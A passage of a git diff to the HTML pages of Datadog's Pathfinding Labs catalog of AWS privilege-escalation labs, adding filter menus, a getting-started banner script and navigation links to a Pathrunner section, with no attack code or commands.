+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/apprunner-001/index.html b/docs/labs/apprunner-001/index.html
index c440e810..0065d82c 100644
--- a/docs/labs/apprunner-001/index.html
+++ b/docs/labs/apprunner-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/apprunner-002/index.html b/docs/labs/apprunner-002/index.html
index 67ac557c..af4b6d8f 100644
--- a/docs/labs/apprunner-002/index.html
+++ b/docs/labs/apprunner-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
